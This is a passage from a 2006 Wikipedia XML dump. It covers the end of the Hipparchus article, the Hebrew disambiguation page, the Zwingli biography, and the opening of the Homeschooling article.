In addition to his other writings dealing with [[astronomical]] topics, the work of Hipparchus dealing with the calculation and prediction of celestial positions would have been very useful to those engaged in [[astrology]]. Astrology developed in the [[Greco-Roman]] world during the [[Hellenistic]] period, borrowing many elements from [[Babylonian]] astronomy; some historians have suggested that Hipparchus played a key role in this. Remarks made by [[Pliny the Elder]] (who died [[79]] [[Anno Domini|AD]] during the eruption of the [[volcano]] [[Mount Vesuvius]]), in his ''Natural History'' Book 2.24, suggest that some [[ancient]] authors did regard Hipparchus as an important figure in the [[history of astrology]]. Pliny claimed that Hipparchus &quot;can never be sufficiently praised, no one having done more to prove that man is related to the stars and that our souls are a part of heaven.&quot;

== Named after Hipparchus ==
The [[European Space Agency|ESA]]'s [[Hipparcos|Hipparcos Space Astrometry Mission]] was named after him, as are the [[Hipparchus (lunar crater)|Hipparchus lunar crater]] and the [[asteroid]] [[4000 Hipparchus]].

== See also ==
*[[Apparent magnitude]]
*[[Astrometry]]
*[[History of astrology]]
*[[Geminus]] (of Rhodes) ([[10 BC]] - circa [[60]]) 
*[[Mira]]
*[[Mithraism]]
*[[Star catalogue]]s

== Literature ==
*Edition and translation: Karl Manitius: ''In Arati et Eudoxi Phaenomena'', Leipzig, 1894.
*G.J. Toomer (1967): ''The Size of the Lunar Epicycle According to Hipparchus''.  Centaurus '''12'''(3), 145..150. 
*N.M. Swerdlow (1969): ''Hipparchus on the distance of the sun''. Centaurus '''14''', 287..305.
*G.J. Toomer (1973): ''The Chord Table of Hipparchus and the Early History of Greek Trigonometry''.  Centaurus '''18''', 6..28. 
*G.J. Toomer (1974): ''Hipparchus on the Distances of the Sun and Moon''.  Arch.Hist.Exact Sci. ''14'', 126..142. 
*G.J. Toomer (1978): ''Hipparchus'' in &quot;Dictionary of Scientific Biography&quot; '''15''', 207..224. 
*G.J. Toomer (1980): ''Hipparchus' Empirical Basis for his Lunar Mean Motions'', Centaurus '''24''', 97..109. 
*G.J. Toomer (1981?): ''Hipparchus and Babylonian Astronomy'', (?)
*Patrick Moore (1994): ''Atlas of the Universe'', Octopus Publishing Group LTD (Slovene translation and completion by Tomaž Zwitter and Savina Zwitter (1999): ''Atlas vesolja''), 225. 
*A. Jones: ''Hipparchus'' in &quot;Encyclopedia of Astronomy and Astrophysics&quot;, Nature Publishing Group, 2001. 
*J. Chapront, M. Chapront Touze, G. Francou (2002): ''A new determination of lunar orbital parameters, precession constant, and tidal acceleration from LLR measurements''.  Astron.Astrophys. '''387''', 700..709.
*B.E. Schaefer (2005): ''The Epoch of the Constellations on the Farnese Atlas and their Origin in Hipparchus's Lost Catalogue''. J.Hist.Astron. '''xxxvi''', 1..29.

== External links ==
=== General ===
* [1] [http://www.hkupasteur.hku.hk/hkuip/causeries/Antiquity.html Hipparchus mentioned as Hipparchos in a history of mankind]
* [3] [http://www.malaspina.com/site/person_639.asp A lot of original Wikipedian articles (upto 2002-09-20) were transposed here]
* [4] [http://www-groups.dcs.st-and.ac.uk/history/Mathematicians/Hipparchus.html Biographical page at the] [[University of St. Andrews]]
* [5] [http://www.hps.cam.ac.uk/starry/hipparchus.html Biographical page at the] [[University of Cambridge]]
* [6] [http://www.hps.cam.ac.uk/starry/hipppoem.html University of Cambridge's Page about Hipparchus' sole surviving work]
* [7] [http://zebu.uoregon.edu/~js/glossary/hipparchus.html Biographical page at the] [[University of Oregon]]

=== Precession ===
* [8] [http://www.inference.phy.cam.ac.uk/teaching/dynamics/p0.html Cavendish Laboratory] briefly about Hipparchus' [[celestial dynamics]] and generally about the precession of the Earth's main axis
* [9] [http://www.well.com/user/davidu/appendix4.html David Ulansey about Hipparchus's understanding of the precession]

=== Celestial bodies ===
* [10] M44 Praesepe at SEDS ([[University of Arizona]]): http://www.seds.org/messier/m/m044.html

=== Star catalogue ===
* [2] [http://ottawa.rasc.ca/astronomy/astro_facts/hipparcus.html A brief view by Carmen Rush on Hipparchus' stellar catalogue]
* [11] [http://www.phys.lsu.edu/farnese/ Schaefer's site on the] [[Farnese Atlas]]

[[Category:190 BC births]]
[[Category:120 BC deaths]]
[[Category:Greek and Roman astronomers]]
[[Category:Ancient Greek geographers]]
[[Category:Ancient Greek mathematicians]]
[[Category:Greek and Roman astrologers]]

[[ca:Hiparc]]
[[de:Hipparchos (Astronom)]]
[[es:Hiparco de Nicea]]
[[eo:Hiparko]]
[[fr:Hipparque (astronome)]]
[[gl:Hiparco]]
[[hr:Hiparh]]
[[it:Ipparco di Nicea]]
[[nl:Hipparchus (astronoom)]]
[[ja:ヒッパルコス]]
[[no:Hipparkos (astronom)]]
[[pl:Hipparchos z Nikei]]
[[pt:Hiparco]]
[[sl:Hiparh]]
[[sv:Hipparchos]]
[[uk:Гіппарх]]
[[zh:喜帕恰斯]]</text>
    </revision>
  </page>
  <page>
    <title>Hebrew</title>
    <id>13601</id>
    <revision>
      <id>40783644</id>
      <timestamp>2006-02-23T00:09:02Z</timestamp>
      <contributor>
        <username>Nicetomeetyou</username>
        <id>856487</id>
      </contributor>
      <text xml:space="preserve">The word '''''Hebrew''''' most likely means &quot;to cross over&quot;, referring to the [[Semitic]] people crossing over the [[Euphrates River]]. ''Hebrew'' can variously refer to:

*  Any descendant of [[Eber]], the great, great grandson of [[Noah]] of whom Abraham was also a descendant.
* [[Hebrew languages]], a set of [[Semitic languages]] spoken mainly in [[Israel]], including:
:* [[Biblical Hebrew language]], the ancient language used in the [[Tanakh]]
:* [[Hebrew language]], the modern, spoken form of Hebrew
* [[Hebrew alphabet]], used to write Hebrew and various other [[Jewish languages]]
* [[Hebrews]], an ancient people of the [[Levant]] region, or their descendants, the [[Jew]]s
* [[Epistle to the Hebrews]], a book of the [[New Testament]]

The term ''Hebrew'' is sometimes used by certain [[Christianity|Christian]] groups to distinguish the Jews living prior to the birth of [[Jesus]] from those who have lived since that time. This distinction is not strictly observed by most, but the word is still used more commonly to refer to ancient Jews rather than modern ones.

The Jewish people are referred to by many names including [[Semites]], Hebrews, [[Israelites]], and [[Jews]].  As noted above, a Hebrew is technically a person descended from Eber, whereas a Semite is any person descended from Shem, the son of Noah.  Therefore, a Hebrew is also a Semite but a Semite is not necessarily a Hebrew.  The same is true of the terms &quot;Israelite&quot; and &quot;Jew.&quot; All of these are Hebrews, though Hebrews are not necessarily any of these.


{{disambig}}

[[de:Hebräisch]]
[[es:Hebreo]]
[[ia:Hebreo]]
[[tl:Hebreo]]</text>
    </revision>
  </page>
  <page>
    <title>Huldrych Zwingli</title>
    <id>13602</id>
    <revision>
      <id>41703086</id>
      <timestamp>2006-03-01T04:07:44Z</timestamp>
      <contributor>
        <username>Aeryth</username>
        <id>344195</id>
      </contributor>
      <comment>/* Zwingli's successor */</comment>
      <text xml:space="preserve">&lt;table align=&quot;right&quot; width=&quot;250&quot; spacing=&quot;4&quot;&gt;&lt;tr&gt;&lt;td&gt;[[image:Ulrich_Zwingli.jpg|right|Huldrych Zwingli]]&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
&lt;table width=&quot;250&quot; bgcolor=&quot;#eeeeee&quot; align=&quot;right&quot; valign=&quot;top&quot;&gt;
&lt;tr&gt;&lt;th&gt;Timeline&lt;tr&gt;&lt;td padding=&quot;4&quot;&gt;&lt;font size=&quot;-1&quot;&gt;
*Zwingli's birth - 1484
*Zwingli priest in [[Glarus]] - 1506 
*Zwingli as chaplain in [[Marignano]]- 1515
*Luther's [[95 theses]] - 1517
*[[Emperor Charles V|Charles V]] becomes Holy Roman emperor - 1519
*Zwingli priest in the cathedral of Zürich - 1519   
*Pope bans [[Luther]] - 1521
*[[New Testament]] translated to German - 1522 
*[[Pope Adrian VI|Adrian VI]] new pope - 1522
*Zwingli [[Clerical celibacy|marries]] - 1522 
*'''''Zwingli publishes his first reformatory tract'''''
*Reformation wins in Zürich - 1523   
*[[Pope Clement VII|Clement VII]] new pope - 1523

*Peasant [[Peasants' War|rebellion]] in [[Germany]] - 1524
*[[Anabaptist]] movement in Switzerland - 1525
*Luther marries [[Katharina von Bora]] - 1525   
*Zwingli publishes his tract &quot;On the true &amp; false Religion&quot; - 1525   
*Charles V; military conquest of Rome 
*Reformation wins in [[Berne]] - 1528  
*Zwingli and Luther meet in [[Marburg Colloquy|Marburg]] - 1529 
*[[Augsburg confession|Confessio Augustana]] - 1530   
*The league of [[Schmalkaldic League|Schmalkalden]] - 1531
*'''Zwingli falls in [[Kappeler Kriege|combat]] - 1531'''
*[[John Calvin|Calvin]] becomes a protestant - 1533
*Calvin in [[Geneva]] - 1536   
*[[Confessio Helvetia]] prior - 1536  &lt;/font&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
'''Huldrych''' (or '''Ulrich''') '''Zwingli''' ([[January 1]], [[1484]] &amp;ndash; [[October 11]], [[1531]]) was the leader of the Protestant [[Reformation in Switzerland]], and founder of the [[Reformed_churches#Continental_Reformed_churches|Swiss Reformed Churches]]. Independent from [[Luther]], who was ''[[doctor biblicus]]'', Zwingli arrived at similar conclusions, by studying the Scriptures from the point of view of a  [[Humanism|humanist]] scholar.

Zwingli was born in [[Wildhaus]], [[Canton of St. Gallen|St.  Gall]], [[Switzerland]] to a prominent family of the middle classes. He was the seventh of eight sons. His father Ulrich was the chief [[magistrate]] in town, and his uncle Bartolomeus the [[vicar]].

Zwingli's Reformation was supported by the magistrate and population of [[Zürich]], and led to significant changes in civil life, and state matters in Zürich. In particular, this movement was known for mercilessly persecuting Anabaptists and other followers of Christ who maintained a nonresistant stance.  The reformation was spread from Zürich to five other [[cantons of Switzerland|canton]]s of Switzerland, while the remaining five sternly held on to the [[Catholic Church|Catholic]] view of the faith.

Zwingli was killed at [[Kappel am Albis]], in a battle against the Catholic cantons.

==Zwingli's contribution to Reformation==

===Background===

While a wealth of information related to the theology of [[Martin Luther]], [[John Calvin]], and others exist, relatively much less, or little, is available with relation to Huldrych Zwingli.  Because Zwingli's life-time coincided with that of Luther's, and because Zwingli's renunciation of the Catholic priesthood came only a few years after that of Luther's, Zwingli may have been over-shadowed by Luther's and Calvin's contributions to the Reformation.

Another reason for Zwingli's less noticeable career may have been caused by his own theological differences with respect to that of Luther's.  Some believe that because of these differences, historical writers and religious zealots, who were more sympathetic to Luther's doctrinal views, may have aided in suppressing Zwingli's doctrinal views.  They hold that &quot;the side who wins in history, is the side who writes the history&quot;; the &quot;other side of the story&quot; is either forgotten, or suppressed.

===Theology: sacraments and covenants===
{{merge|Theology of Zwingli}}
  
One major difference in theological opinion between Zwingli and Luther is that of grace versus works as it relates to the Christian sacraments.  Many consider Luther to have been the originator of the belief that God's covenants to man are unconditional; Zwingli, on the other hand, proposed that God's covenants were just that--spritually binding contracts between God and man that were vulnerable to man's relapse into the sinful life that could eventually lead to an anullment of God's part in the contract.  

E. Brooks Holifield states in &quot;The Covenant Sealed: The Development of Puritan Sacramental Theology in Old and New Testaments&quot; (1570-1720, New Haven, Conn.: Yale University press, 1974, 6) that &quot;When Luther called the sacrament a covenental seal, he meant that baptism visibly ratified and guaranteed God's promises, as a royal seal authenticated a government document on which it was inscribed.  Only secondarily was baptism a pledge of obedience by men.  For Zwingli, however, the sacrament was primarily 'a covenant sign which indicates that all those who receive it are willing to amend their lives to follow Christ.&quot;         

&lt;!--
This section on Luther and Zwingli's views of baptism is badly in error. Basically, it reverses their positions. See, for example, these two links:
http://www.iclnet.org/pub/resources/text/wittenberg/luther/catechism/web/cat-13.html
http://faculty.occ.edu/markmoore/Zwingli.htm
If the original author of this section does not wish to fix this, I'll be happy to take a stab at it. -CP

You should put this on the talk page, not here! --Flex
--&gt;
For both Luther and Zwingli, the sacrament of baptism was a sign or symbol of God's new Gospel covenant.  Their theological differences arise in the relationship between baptism and mankind. While Luther believed that God's grace was sufficient for man's salvation thereby defining baptism simply as a sign of having received a divine guarantee of this grace, Zwingli taught that God's grace in addition to man's work was necessary for salvation thereby defining baptism as a covenant between God and man.  This covenant/contract involved two parties wherein both were given specific responsibilities; if one party did not comply with said agreements, the opposite party was relinquished of all responsibilities detailed in the contract.

A key doctrinal difference between Zwingli and other sects of Protestantism was his view on the [[Eucharist]]. Whereas Luther believed that the body and blood of Christ are [[Real Presence|really present]] in the bread and wine of this sacrament (a view often called [[consubstantiation]] by non-Lutherans), Zwingli understood the sacrament to be purely symbolic and [[memorialism|memorial]] in character. Their differences were discussed at the [[Marburg Colloquy]] in 1529. By contrast, the next generation Reformer [[John Calvin]]'s view was that Christ is spiritually but not physically present in the sacrament, but some later [[Calvinist]]s such as [[Charles Hodge]] tend more towards Zwingli's memorialism than Calvin's doctrine.

Zwingli was also known for his belief that the Christian sacrament was similar to a military oath or pledge in order to demonstrate an individual's willingness to listen and obey the [[written word of God]].

=== Music in the Church ===

Zwingli was one of the first Protestants to abandon the use of instruments during worship services.  In fact, Zwingli was so alarmed by the abuses to which music was put, in his view, that some of his services did not have any music whatsoever.  He found instruments to be an offense, quoting the [[ church fathers]] for support.  He was attempting to return to a practice followed in most of the [[Eastern Orthodox]] churches even to this day, but exceeded them in his distaste for music ''per se'', regarding it as a distraction from single attention to the preaching of the word of God.  Much of the Reformed movement fell into agreement with the banning of instruments, although none followed the elimination of music. The organ in particular was denounced by leaders of the Reformed churches, as being a prominent example of what they meant by the corruption allowed into worship by the Catholic Church.  Zwingli recommended that a better use for an organ would be to sell it and give the money to the poor.  This Reformed aversion to musical instruments, first adopted by Zwingli, became at times a sticking point preventing cooperation with the musically rich Lutherans.

Non-instrumental singing continues to be a distinctive of some branches of the [[Presbyterian church]], and a few other [[Reformed churches]].  This Presbyterian practice was adopted as being biblical, by some who separated from them following the Campbell branch of the [[Restoration Movement]] known as the [[Church of Christ]], because instruments are not specifically mentioned in the New Testament.  The [[Primitive Baptists]] also follow this practice.  These Christians believe that the use of instruments is connected with the [[Old Testament]] worship in the [[Temple of Jerusalem]], a form of worship instituted by God but superseded when God raised Christ from the dead, establishing the Church by sending his Holy Spirit, according to their beliefs.

==Zwingli&amp;rsquo;s life==
===Youth===
Zwingli got his early education at [[Weesen, Switzerland|Weesen]] under the guidance of this uncle Bartolomeus, who had moved away from Wildhaus. Before going to the [[University of Vienna]] Zwingli completed his studies in [[Berne, Switzerland|Berne]]. He enrolled in [[Vienna]] in [[1498]], and after having been expelled for a year Zwingli continued his studies there until [[1502]], at which time he transferred to the [[University of Basel]], where he took his B.A. degree [[1504]], and M.Div. in [[1506]].

===Priesthood===
Just before winning his theological degree Zwingli became [[pastor]] at [[Glarus]], and stayed there for ten years. It was during his stay in Glarus that Zwingli perfected his [[Greek language|Greek]], and also took up the study of [[Hebrew language|Hebrew]]. Apart from studying the languages of the [[Scripture]], he also read [[Erasmus]], which gave his thinking a [[humanities|humanistic]] perspective.

The use of Swiss [[mercenary|mercenaries]] was more than common in Europe of the [[16th century]] and this was something that Zwingli opposed, unless commissioned by the [[pope]]. Nevertheless Zwingli took on the job of [[chaplain]] on several occasions, as the youth of his [[parish]] went to Italy as mercenaries. Still, Zwingli's opposition to foreign military service and his growing reputation as a fine preacher and learned scholar led to his election in [[1518]] to priest in the [[Great Minster church]] in Zürich. He had then been a priest in [[Einsiedeln]] for two years.

Zwingli's willingness to leave Glarus greatly increased due to stronger pro-French sentiment there, given the fact that Zwingli at this period in his life was strongly on the side of the pope. Zwingli's literary production while still in Glarus made Swiss [[cardinal (Catholicism)|cardinal]] [[Mattias Schinner]] his friend, and rendered him an annual pension from [[The Vatican|Rome]].

===Alienation from the Church===
It was not until he was a priest of the Great Minster church that Zwingli publicly started questioning the [[dogma]] of the Catholic Church. He himself claimed to have done so earlier, but this is not corroborated by facts. Zwingli always claimed to be ignorant of what Luther wrote, and that he took part in starting the Reformation in Switzerland independently of Luther.  When a preacher of [[indulgence]]s appeared in Zürich in [[1519]], Zwingli opposed him. This was two years after Luther had refuted the practise of indulgence with his [[95 Theses]].

It was only in [[1520]] that Zwingli renounced his papal pension. He then attacked the mercenary system, and convinced Zürich, alone of all the cantons, to refuse  the alliance with [[France]] on [[May 5]], [[1521]]. On [[January 11]], [[1522]], all foreign services and pensions were forbidden in Zürich. 

Owing to Zwingli's success as a politician, which had been boosted by his social efforts during the [[Black Death|plague]] of 1520, his prestige and importance increased. From [[1522]] on he was on track of reforming the church and Christian faith. His first reformatory work, &quot;Vom Erkiesen und Fryheit der Spysen&quot;, was published in the midst of a dispute over the ecclesiastical law of fasting.  Zwingli declared the fasting provisions to be mere human commands, not in harmony with the [[Scriptures]], and was by now convinced that the Bible alone, without any reference to the church's  [http://www.scripturecatholic.com/oral_tradition.html Sacred Oral Tradition], was the sole source of faith; this he asserted in &quot;Archeteles.&quot;

[[image:grossmunster_in_zurich.jpg|left|thumb|220px|[[Grossmünster]] in Zürich: View from rooftop, overlooking church steeple and city. Recent.]]

===Marriage===
When their intimacy passed the bounds of propriety is unknown, but from the spring of 1522 Zwingli and [[Anna Reinhard]] were living together in what was called a &quot;[[clerical marriage]].&quot; Such [[concubine|concubinages]] were not uncommon at the time, as it was assumed that without an extraordinary supply of divine grace it was not possible for a priest to live in absolute purity; and in fact, very few did. Zwingli eventually married Anna, on [[April 2]], [[1524]]. Between 1526 and 1530 the couple had four children.

===The Reformation in  Zürich===
After three years of preaching, Zwingli prepared 67 articles (''&quot;Schlussreden&quot;''), intended for a more popular audience than [[95 theses|Luther's]] and covering all the points of the &quot;Gospel,&quot; as he called it. In accordance with the religious policy of the Swiss at that time, there had to be a public debate before radical measures were taken in religious matters. A meeting was called in Zürich [[January 29]], [[1523]], presided over by the [[mayor]]. All the clergy were invited. There was no real debate, only a dialogue between Zwingli and the [[Catholic clergy|vicar-general]] of [[Constance]]. The decision of the [[city council|magistracy]] was that the doctrines Zwingli had preached should be enforced in the [[Canton of Zürich]]. 

Zwingli's radical followers made the most of the situation. They removed the images and pictures out of the churches, made changes in the [[Liturgy|liturgic]] language of the religious services, and stripped the mass of all its incrustations, as far as possible bringing it back to basics. By the end of [[1524]] the convents for both men and women had been abolished, and music had been silenced in the churches. The mass stood more or less unaltered, since Zwingli hesitated in changing something so wrapped up with the life of the people, before the people were fully prepared to accept a substitute. Zwingli's translation of the bible, the [[Froschauer Bibel]], was printed between 1524 and 1531.

At last it was decreed that on Thursday of Holy Week, [[April 13]], [[1525]], in the Great Minster the &quot;[[Eucharist|Lord's Supper]]&quot; would be for the first time observed according to the liturgy Zwingli had composed. On that eventful day men and women sat on opposite sides of the table which extended down the middle aisle, and were served with bread on wooden platters and wine out of wooden beakers. The contrast to the former custom was shocking to many, yet the new way was accepted. With this radical break with the past the Reformation in Zürich was  completed. In the same year, Zwingli was called by the honorary title [[Antistes]].

===The political phase===
The new doctrines were not introduced without opposition. The first opponents of the Reformers were from the ranks of their own party. The peasants could find no reason in the Bible, the sole principle of faith, why they should contribute to their lords' [[tax]]es, [[tithes]], and rent, and they refused to do so. Civil unrest spread everywhere, and was only quelled after long negotiations and some concessions by the Government. 

The [[Anabaptist]]s were not so easily silenced. From their interpretation of the Bible, which Zwingli had placed in their hands, they opposed infant baptism and refused to join Zwingli's state church. Zwingli thus persecuted them mercilessly with imprisonment, torture, banishment and death; one of their leaders [[Felix Manz]] was drowned. The war against the Anabaptists was more serious for Zwingli than that against Rome. 

In [[St. Gallen]] [[mayor]] [[Vadian]] (Joachim von Watt) worked successfully in Zwingli's interest &amp;mdash; in [[Schaffhausen]], Dr. [[Sebastian Hofmeister]] did the same; in [[Basle]] it was [[Johann Oecolampadius]]. Zwingli himself came to [[Berne]], in January, [[1528]].  The new doctrines were then introduced as sweepingly into Berne as they had been at Zürich, and many places and counties which had previously wavered followed its example. Zwingli could also point to brilliant successes in [[1528]] and [[1529]]. He ensured the predominance of his reforms through the &quot;Christian Civic rights&quot;, agreed upon between Zürich and the towns of Constance (1527), Berne and St. Gall (1528), [[Biel/Bienne|Biel]], [[Mulhouse|Mulhausen]], and Schaffhausen (1529).

===Reaction===
[[Image:Zwingli statue.jpg|right|thumb|200px|Statue of Zwingli in Zürich]]
Reformation swept across Switzerland. The cantons of [[Canton of Uri|Uri]], [[Canton of Schwyz|Schwyz]], [[Unterwalden]], [[Canton of Lucerne|Lucerne]], [[Canton of Zug|Zug]], and [[Canton of Fribourg|Fribourg]] remained however true to the old Faith, and offered determined opposition to Zwingli. This did not mean that the catholic cantons were wholly satisfied with conditions prevailing in the Catholic church. They strove to abolish abuses, and issued a Concordat of Faith in [[1525]] demanding important reforms, this, however, never found general recognition. From [[21 May]] to [[8 June]], [[1526]], they held a public disputation at Baden, to which they invited Dr. [[Johann Eck]] of [[Ingolstadt]]. Zwingli did not appear. 

At [[Baden, Switzerland|Baden]], a famous watering-place, only twelve miles northwest of Zürich, there was a [[Baden im Aargau, conference of|disputation]] between the Old Church representatives and the Zwingli party from [[May 21]] to [[June 8]], [[1526]]. Though not present in person, Zwingli had close connections with those from Zürich who spoke for him, and gave them daily instructions. Of course each side claimed the victory. 

To compel the Catholic cantons to accept the new doctrines, Zwingli even urged [[civil war]], drew up a plan of campaign, and succeeded in persuading Zürich to declare war and march against the Catholic territories. The Catholic districts had by then strengthened their position by forming a defensive alliance with [[Austria]] ([[1529]]), the &quot;Christian Union.&quot; At this juncture, however, they received no assistance. Berne showed itself more moderate than Zürich, and a treaty of peace was arranged, which, however, was very unfavourable for the Catholics.

===Dictator of Zürich===
In Zürich, Zwingli was now the commanding personality in all ecclesiastical and political questions. He was &quot;mayor, secretary, and council&quot; in one. He and Luther could not agree regarding the doctrine of the Lord's Supper when a disputation was arranged between the two [[Protestant]] leaders at [[Marburg Colloquy|Marburg]] in October, [[1529]]. 

As a statesman, Zwingli embarked in secular politics with ambitious plans. &quot;Within three years&quot;, he wrote, &quot;Italy, Spain and Germany will take our view&quot;. By prohibiting any compromises with the Catholic cantons Zwingli may have compelled them to resort to arms. On [[9 October]], [[1531]], they declared war on Zürich, and advanced to Kappel on the frontiers. That day proved to be fateful for Zwingli.

===Civil war and Zwingli's death on the battlefield===

See [[Kappeler Kriege]], [[Reformation in Switzerland]].

The [[Swiss Confederation]] wasn't a centralized state, but many different states or cantons that were only united on a few issues, primarily wanting independence from the [[Holy Roman Empire]]. When the Catholic cantons took steps towards an alliance with [[Charles V, Holy Roman Emperor|Charles V]], Zwingli recommended that the Protestant cantons begin to take military initiatives before it was too late. Zwingli was preparing for war, but his beliefs weren't shared by all of the other Protestant cantons. Instead, the other Protestants took economic measures towards the Catholic cantons. In [[October]] of 1531, the five Catholic cantons joined together for a surprise attack on Zürich. The Protestants were nearly unable to defend themselves because of no advance warning, but when their army gathered together, Zwingli marched out with the first soldiers and was killed in battle. In [[Kappel]], the army of Zürich was defeated, and slightly more than a month later, the [[Peace of Kappel]] was signed.

==Zwingli's successor==
Zwingli's successor, [[Heinrich Bullinger]], was elected on [[December 9]], [[1531]], to be the pastor of the Great Minster at Zürich, a position which he held to the end of his life ([[1575]]). He did not replace Zwingli as the political head man of the canton. The pastor of the Great Minster continued to exert political influence, but the time of [[theocracy]] was past for Zürich.

==Other notables in Swiss Reformation==
* [[Ambrosius Blarer]]
* [[Heinrich Bullinger]]
* [[John Calvin]]
* [[William Farel]]
* [[Johannes Oecolampadius]]

==Literary production==
* Rhymed fables of the ox, c. [[1510]]
* ''De Gestis inter Gallos et Helvetios relatio'', [[1512]]
* ''The Labyrinth'', c. [[1516]]
* ''Vom Erkiesen und Fryheit der Spysen''
* ''Archeteles''
* ''Vermahnung an die zu Schwyz, dass sie sich vor fremden Herren hutend'', [[1522]] 
* ''Petition anent the Marriage of Priests, [[Einsiedeln, Switzerland]], July 2, 1522.( This petition was addressed to [http://www.ccel.org/ccel/schaff/hcc8.iv.i.ii.html Hugo von Hohenlandenberg],[http://www.ccel.org/ccel/schaff/hcc8.iv.ii.iii.html],Bishop of [[Constance]],and was signed by Zwingli and ten other clergymen. cf. [http://www.newadvent.org/cathen/15772a.htm Catholic Encyclopedia] ).&quot;Ulrich  Zwingli Early Writings&quot;,edited by [http://reference.allrefer.com/encyclopedia/J/JacksoSM.html Samuel Macauley Jackson], Wipf &amp; Stock, 1999, [http://www.e316.com/shop/_searchisbn.asp?searchisbn=1579102972 ISBN: 1579102972]. 
* ''De vere et falsa Religione'', [[1525]]
* ''Opera D.H. Zwingli'' (Title in full: ''''Opera D.H. Zwingli vigilantissimi Tigurinae ecclesiae Antistitis, partim quidem ab ipso Latine conscripta, partim vero e vernaculo sermone in Latinum translata: omnia novissime recognita, et multis adiectis, quae hactenus visa non sunt'', published by Zwingli's son-in-law [[Rudolf Gwalter]])
* ''Zwingli's collected works'', (edited by Melchior Schuler and Johannes Schulthess, 8 vols., Zürich, 1828-1842)
* [http://www.unizh.ch/irg/zwi-w.html New critical edition of Zwingli's Collected Works] (In progress, University of Zürich)
* [http://www.johanescalvin.org Zwingli and Today's Christian]

[[Category:1484 births|Zwingli, Huldrych]]
[[Category:1531 deaths|Zwingli, Huldrych]]
[[Category:Reformation|Zwingli, Huldrych]]
[[Category:Reformed theologians|Zwingli, Huldrych]]
[[Category:Protestant Reformers|Zwingli, Huldrych]]
[[Category:Swiss theologians|Zwingli, Huldrych]]
[[Category:Zürich]]

[[als:Zwingli]]
[[cs:Ulrich Zwingli]]
[[de:Ulrich Zwingli]]
[[et:Ulrich Zwingli]]
[[es:Ulrico Zuinglio]]
[[eo:Zvinglo]]
[[fr:Ulrich Zwingli]]
[[ko:울리히 츠빙글리]]
[[ia:Huldrych Zwingli]]
[[it:Ulrico Zwingli]]
[[ka:ცვინგლი, ულრიხ]]
[[nl:Huldrych Zwingli]]
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[[no:Ulrich Zwingli]]
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[[zh:慈運理]]</text>
    </revision>
  </page>
  <page>
    <title>Homeschooling</title>
    <id>13603</id>
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      <comment>/* Publications */</comment>
      <text xml:space="preserve">[[Image:Young Thomas Edison.jpg|thumb|right|200px|[[Thomas Edison]] attended compulsory school for only three months, after which he was taught at home by his mother and a tutor.]]

'''Home education''', also called '''homeschooling''' or '''home school''', is an [[alternative education|educational alternative]] in which children are [[education|educated]] at home and in the community, in contrast to a [[compulsory education]] which takes place in an [[institutionalization|institution]] such as a [[public school|publicly-run]] or [[private school|privately-run school]]. Home education methods are similar to those widely used before the popularization of compulsory education in the 19th century. Before this time, the majority of education worldwide was provided at home by family and community members, with only the privileged attending privately-run schools or employing [[tutor]]s, the only available alternatives at the time.

''Homeschooling'', a term widely-used in the [[United States]], was first used in the late 1970's as a complement to the term ''[[unschooling]]'', coined in 1977 by [[United States|American]] [[educator]] [[John Caldwell Holt|John Holt]] in his alternative education magazine ''[[Growing Without Schooling]]''. In the beginning the two terms were used synonymously but eventually their meanings diverged: homeschooling referred to any education that took place outside a compulsory school setting while still using a curriculum (though such curriculum may not be standardized), while unschooling referred to a [[curriculum]]-free philosophy. Homeschooling is also largely in contrast to those who are [[self-taught]] in that the child is still motivated and guided by parents rather than being largely self-directed.

In the United States, homeschooling is the focus of a substantial movement among parents who wish to provide their children with a custom or more complete education, which they feel is unattainable in most private schools or the government's public schools. While many families in the U.S. are educating their children at home, the vast majority still prefer an institutional setting for their children. Despite its popularity some people have concerns about the recent [[renaissance]] of this traditional method of educating children.   

== History ==

The general historic foundations of home education originate with the informal education systems that existed in many parts of the world before the rise of publicly-run schools in the late [[19th century|19th]] and early [[20th century|20th]] centuries. For example, famous figures such as [[Thomas Edison]] and [[Woodrow Wilson]] (the only U.S. President to hold a Ph.D.) might be considered to have been home-educated as they were self-educated or had [[mentor]]s or tutors growing up, but received little formal education.

In the United States, the &quot;curriculum in a box&quot;, or [[#All-in-one curricula|All-in-one curriculum]], form of home education dates back to [[1906]], when the [[Calvert Day School]] of [[Baltimore, Maryland]] made such materials available through a downtown Baltimore bookstore and a ''[[National Geographic]]'' advertisement. Within five years, nearly 300 children were making use of materials from Calvert's Home Instruction Department. In less than a century the materials had become the basis for lessons for more than 350,000 children annually in more than 90 countries.

== Popularity ==

=== Australia &amp; New Zealand ===

About 26,500 children in [[Australia]] &amp; [[New Zealand]] are involved in home schooling.[http://www.hea.asn.au/hea/resources/disp_res.asp?type=4&amp;id=60]

=== Canada ===

As of 2001, it was estimated that 80,000 children are educated at home in [[Canada]][http://72.14.203.104/search?q=cache:D9Zi6jimSpIJ:www.fraserinstitute.ca/admin/books/chapterfiles/The%2520Choices%2520Families%2520Make~~%2520Home%2520Schooling%2520in%2520Canada%2520Comes%2520of%2520Age-Mar04ffpelt.pdf+homeschooling+in+canada+demographics&amp;hl=en]; however, that number continues to increase.

=== United Kingdom ===

An estimated 50,000 children are considered &quot;home-educated&quot; in the [[United Kingdom]].[http://www.home-education.org.uk/]

=== United States ===

In the United States, homeschooling is the focus of a substantial movement among parents who wish to provide their children with a custom or more complete education, which they feel is unattainable in most [[private school]]s or the state governments' [[public school]] systems.  In many instances one motivation is to provide religious education along with education on traditional subjects; religious education would not be available in a public school setting, and the available private schools may be of different faiths than the family, thus making them unattractive.  While a growing number of families in the U.S. are educating their children at home, the vast majority of families still prefer an [[institution]]al setting for their children.

In 2003 about 1.1 million children (up 29% from 850,000 in 1999) were home-educated on the United States[http://nces.ed.gov/nhes/homeschool/]. A desire to provide [[Religious education|religious]] or moral instruction, and a desire to provide a better learning environment are among the most common reasons for homeschooling. Other reasons include: more flexibility in adapting educational practices for children with [[learning disabilities]] or illnesses; allowing the introduction of more non-traditional studies, such as [[Latin]] and agriculture; and providing more hands-on methods of learning such as [[unschooling]].

